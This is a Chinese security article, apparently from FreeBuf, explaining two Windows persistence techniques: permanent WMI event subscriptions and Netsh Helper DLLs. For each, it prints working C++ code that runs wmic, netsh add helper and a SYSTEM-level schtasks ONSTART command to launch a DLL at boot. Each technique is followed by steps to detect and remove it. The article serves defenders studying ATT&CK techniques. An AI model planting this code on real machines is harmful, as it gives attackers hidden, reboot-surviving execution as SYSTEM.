Windows 管理规范(Windows Management Instrumentation,缩写 WMI)由一系列对 Windows Driver Model 的扩展组成,它通过仪器组件提供信息和通知,提供了一个操作系统的接口。从攻击者或防御者的角度来看,WMI 最强大的功能之一是 WMI 能够响应 WMI 事件。除了少数例外,WMI 事件可用于响应几乎任何操作系统事件。例如,WMI 事件可用于在进程创建时触发事件。然后,可以将此机制用作在任何 Windows 操作系统上执行命令行指令。有两类 WMI 事件,在单个进程的上下文中本地运行的事件和永久 WMI 事件过滤。本地事件持续主机进程的生命周期,而永久 WMI 事件存储在 WMI 存储库中,以 SYSTEM 身份运行,并在重新引导后保持不变。据各安全厂商披露,有不少 APT 组织使用这种技术来维持后门持久性,如何防御 WMI 攻击值得安全研究人员进行了解。

WMI 允许通过脚本语言 (VBScript 或 Windows PowerShell) 来管理本地或远程的 Windows 计算机或服务器,同样的, 微软还为 WMI 提供了一个称之为 Windows Management Instrumentation Command-line(WMIC)的命令行界面,我们还可以通过 WMIC 工具来管理系统中的 WMI。

 

WMI 查询使用 WMI 查询语言(WQL),它是 SQL 的一个子集,具有较小的语义更改以支持 WMI。WQL 支持三种类型的查询,数据查询、架构查询及事件查询。消费者使用事件查询进行注册,以接收事件通知,事件提供程序则使用事件查询进行注册以支持一个或多个事件。

要安装永久 WMI 事件订阅,需要执行以下三步:

1. 注册事件过滤器 – 也就是感兴趣的事件,或者说触发条件

2. 注册事件消费者 – 指定触发事件时要执行的操作

3. 绑定事件消费者和过滤器 – 将事件过滤器和事件消费者绑定,以在事件触发时执行指定操作。

如下的图是某样本通过 PowerShell 注册 WMI 永久事件过滤实现持久化的代码:

如下的代码演示了如何通过利用 WMIC 工具注册 WMI 事件来实现后门持久化,注册的事件会在系统启动时间 120 后收到通知,执行 CMD 命令调用 Rundll32 加载我们指定的 DLL 并执行其导出函数。

BOOL add_wmi_filter()

{

BOOL   ret = FALSE;

int    path_len = NULL;

TCHAR* command = NULL;

STARTUPINFO si = {0};

PROCESS_INFORMATION pi = {0};

si.cb = sizeof(STARTUPINFO);

si.wShowWindow = SW_HIDE;

command = new TCHAR[MAXBYTE * 7];

if (command == NULL)

{

goto ERROR_EXIT;

}

//添加一个 event filter

wsprintf(command, _TEXT("cmd \/c \"wmic \/NAMESPACE:\"\\\\root\\subscription\" PATH __EventFilter CREATE Name=\"TopsecEventFilter\", EventNameSpace=\"root\\cimv2\",QueryLanguage=\"WQL\", Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150\"\""));

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

{

goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);

TerminateProcess(pi.hProcess, 0);

//添加一个事件消费者

wsprintf(command, _TEXT("cmd \/c \"wmic \/NAMESPACE:\"\\\\root\\subscription\" PATH CommandLineEventConsumer CREATE Name=\"TopsecConsumer\", ExecutablePath=\"C:\\Windows\\System32\\cmd.exe\",CommandLineTemplate=\" \/c Rundll32 C:\\topsec.dll RunProc\"\""));

memset(&pi, 0, sizeof(pi));

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

{

goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);

TerminateProcess(pi.hProcess, 0);

//绑定事件及消费者

wsprintf(command, _TEXT("cmd \/c \"wmic \/NAMESPACE:\"\\\\root\\subscription\" PATH __FilterToConsumerBinding CREATE Filter=\"__EventFilter.Name=\\\"TopsecEventFilter\\\"\", Consumer=\"CommandLineEventConsumer.Name=\\\"TopsecConsumer\\\"\"\""));

memset(&pi, 0, sizeof(pi));

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

{

goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);

TerminateProcess(pi.hProcess, 0);

ret = TRUE;

ERROR_EXIT:

if (command != NULL)

{

delete[] command;

command = NULL;

}

return ret;

}

有关事件查询的更多信息,可以查看微软在线帮助,接收事件通知

有关 WMI 查询的更多信息,可以查看微软在线帮助,使用 WQL 查询

关于 WMI 攻防的更多信息,也可以参考 FireEye 发布的白皮书,《WINDOWS MANAGEMENT INSTRUMENTATION (WMI) OFFENSE, DEFENSE, AND FORENSICS》。

运行效果图

运行该程序后,会在系统中安装 WMI 事件,使用 AutoRun 工具查看 WMI 相关的数据

重启电脑,等系统运行时长超过 120 秒后,触发事件,我们设定的命令被执行

检查及清除方法

1.使用 AutoRuns 工具检查 WMI 订阅,并删除不明来源的事件订阅,可通过与已知良好的常规主机进行对比的方式,来确认事件订阅是否为不明来源。

Netsh Helper DLL

原理及代码介绍

Netsh.exe(也称为 Netshell)是一个命令行脚本实用程序,用于与系统的网络配置进行交互。它包含添加辅助 DLL 以扩展实用程序功能的功能,使用「netsh add helper」即可注册新的扩展 DLL,注册扩展 DLL 后,在启动 Netsh 的时候便会加载我们指定的 DLL。注册的 Netsh Helper DLL 的路径会保存到 Windows 注册表中的 HKLM\SOFTWARE\Microsoft\Netsh 路径下。

当使用另一种持久性技术自动执行 netsh.exe 时,攻击者可以使用带有 Helper DLL 的 Netsh.exe 以持久方式代理执行任意代码。

计划任务程序是 Microsoft Windows 的一个组件,它提供了在预定义时间或指定时间间隔之后安排程序或脚本启动的功能,也称为作业调度或任务调度。系统中的 schtasks.exe 用于管理计划任务,允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务。如从计划表中添加和删除任务,按需要启动和停止任务,显示和更改计划任务。

如下的代码演示了攻击者如何通过在 Netsh 命令添加 Helper DLL 并通过调用 schtasks 程序来新建计划任务,实现代码持久化的目的。

BOOL add_to_netsh_helper(LPCTSTR dll_path)

{

    BOOL   ret = FALSE;

    int    path_len = NULL;

    TCHAR* command = NULL;

    STARTUPINFO si = {0};

    PROCESS_INFORMATION pi = {0};

    si.cb = sizeof(STARTUPINFO);

    path_len = _tcslen(dll_path);

    command = new TCHAR[(path_len * sizeof(TCHAR) +  sizeof(TCHAR)) * 2];

//添加 netsh helper

    wsprintf(command, _TEXT("cmd \/c \"netsh add helper %s\""), dll_path);

    if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

    {

       goto ERROR_EXIT;

    }

    WaitForSingleObject(pi.hProcess, INFINITE);

    memset(&pi, 0, sizeof(pi));

//添加 netsh 主程序到计划任务

    wsprintf(command, _TEXT("cmd \/c \"schtasks.exe \/create \/tn \"init\" \/ru SYSTEM \/sc ONSTART \/tr \"C:\\windows\\system32\\netsh.exe\"\""));

    if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

    {

       goto ERROR_EXIT;

    }

    WaitForSingleObject(pi.hProcess, INFINITE);

ret = TRUE;

ERROR_EXIT:

    if (command != NULL)

    {

       delete[] command;

       command = NULL;

    }

    return ret;

}

其中 Netsh Helper DLL 需要导出一个函数供 Netsh 调用,导出函数原型及关键代码如下:

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD  ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

OutputDebugString(_TEXT("Load DLL~~"));

break;

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

DWORD _stdcall NewThreadProc(LPVOID lpParam)

{

while (TRUE)

{

OutputDebugString(_TEXT("Netsh Helper, Hello Topsec"));

}

return 0;

}

extern "C" DWORD  _stdcall InitHelperDll(DWORD dwNetshVersion, PVOID Reserved)

{

CreateThread(NULL, NULL, NewThreadProc, NULL, NULL, NULL);

MessageBox(NULL, _TEXT("Netsh Helper, Hello Topsec"), NULL, MB_OK);

return NO_ERROR;

}

运行效果图

上面的代码首先添加 Netsh Helper DLL,然后添加计划任务,在系统启动的时候启动 Netsh。计算机重启后效果如图:

 

运行后的注册表键值情况如下图所示:

检查及清除方法

1.检查注册表路径 HKLM\SOFTWARE\Microsoft\Netsh,查看是否有不明来源的 Helper DLL 注册信息并删除。

总结

以上就是持久化攻击的全部内容了,通过本文总结的这些攻击手段可以看出,有的虽老生常谈,却不可忽视,有的设计很巧妙,令人受益匪浅。它们好像无孔不入,所有的攻击都是为了更隐蔽,更持久的运行。当然,这肯定不是 MITRE ATT&CK™上的所有内容,更不是攻击者的所有手段,一定会有一些攻击手段尚未被发现。想象着,当攻击者不断获取着系统上的信息,而你却不自知时,这是多么可怕!作为安全工作者,我们不应满足于现状,更应该拥有好奇心和创造力,去发现未知的安全隐患。

本文到此就结束了,接下来会根据 MITRE ATT&CK™出一系列类似的文章,敬请期待!

*本文原创作者:alphalab,本文属FreeBuf原创奖励计划,未经许可禁止转载

来源:freebuf.com 2019-08-27 10:00:40 by: alphalab

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论